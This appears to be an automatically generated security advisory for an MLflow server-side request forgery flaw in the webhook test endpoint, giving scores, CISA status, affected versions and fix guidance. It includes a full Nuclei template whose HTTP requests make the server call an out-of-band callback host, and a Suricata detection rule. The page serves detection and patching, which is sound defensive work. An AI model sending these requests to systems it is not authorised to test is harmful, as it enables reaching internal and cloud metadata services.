VULNpocalypse

CVE-2026-64849: MLflow Server-Side Request Forgery Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.

Description quoted from the CVE record (assigned by GitHub_M, published 2026-08-17).

Weakness: CWE-918: Server-Side Request Forgery (SSRF)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity low, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: partial.

On CISA KEV since
2026-08-19
US federal deadline
2026-09-02
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-12002, EUVD-2026-60473, GHSA-7gwp-5pfp-969j, ZDI-26-846

VEDAS cluster: VEDAS:BARLEYBOBCAT

Exploit Observer links 11 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (11)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Vulnerability databases and vendor advisories (6)

Catalogue entries, not exploit evidence.

News (1)

28 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.100
likely to be attacked soon
VEDAS
0.985
strong exploit evidence
On CISA KEV
Yes, since 2026-08-19
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
100.1CVE-2026-64849 EPSS over time2026-082026-11-01
VEDAS (exploit evidence)
100.9CVE-2026-64849 VEDAS over time2026-082026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
mlflow mlflowversion >= 3.3.0, < 3.15.0Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: lf_projects,_llc mlflow, lfprojects mlflow, pypi mlflow.

How to fix it

CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

Vendor guidance:

How to detect it

Nuclei template (active check)

Mlflow - Server-Side Request Forgery

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (POST /api/2.0/mlflow/webhooks, POST /api/2.0/mlflow/webhooks/{{webhook_id}}/test, DELETE /api/2.0/mlflow/webhooks/{{webhook_id}}); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using regex, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-64849.yaml
Show the template (65 lines)
yaml
id: CVE-2026-64849

info:
  name: "Mlflow - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    MLflow is an open source AI engineering platform for agents, large language models, and machine learning
    models.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-64849&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=mlflow&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 9.3
    cve-id: CVE-2026-64849
    cwe-id: CWE-918
  metadata:
    verified: false
  tags: cve,cve2026,mlflow,ssrf,oast,webhook,oss,vkev,kev
variables:
  random: "{{rand_text_alpha(8)}}"

http:
  - raw:
      - |
        POST /api/2.0/mlflow/webhooks HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{random}}","url":"https://{{interactsh-url}}","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

      - |
        POST /api/2.0/mlflow/webhooks/{{webhook_id}}/test HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"webhook_id":"{{webhook_id}}","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}

      - |
        DELETE /api/2.0/mlflow/webhooks/{{webhook_id}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "webhook_id"
          - "ACTIVE"
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "http"

    extractors:
      - type: regex
        name: webhook_id
        part: body
        internal: true
        regex:
          - '"webhook_id":\s*"([^"]+)"'
        group: 1

CVE-2026-64849.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-64849 Mlflow - Server-Side Request Forgery. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-64849 Mlflow - Server-Side Request Forgery"; flow:established,to_server; http.uri; content:"webhooks"; nocase; http.request_body; content:"https://"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-64849; reference:url,https://www.exploit.observer/?keyword=CVE-2026-64849&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=mlflow&match=exact; sid:1010391; rev:1;)

CVE-2026-64849.rules on GitHub

References

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.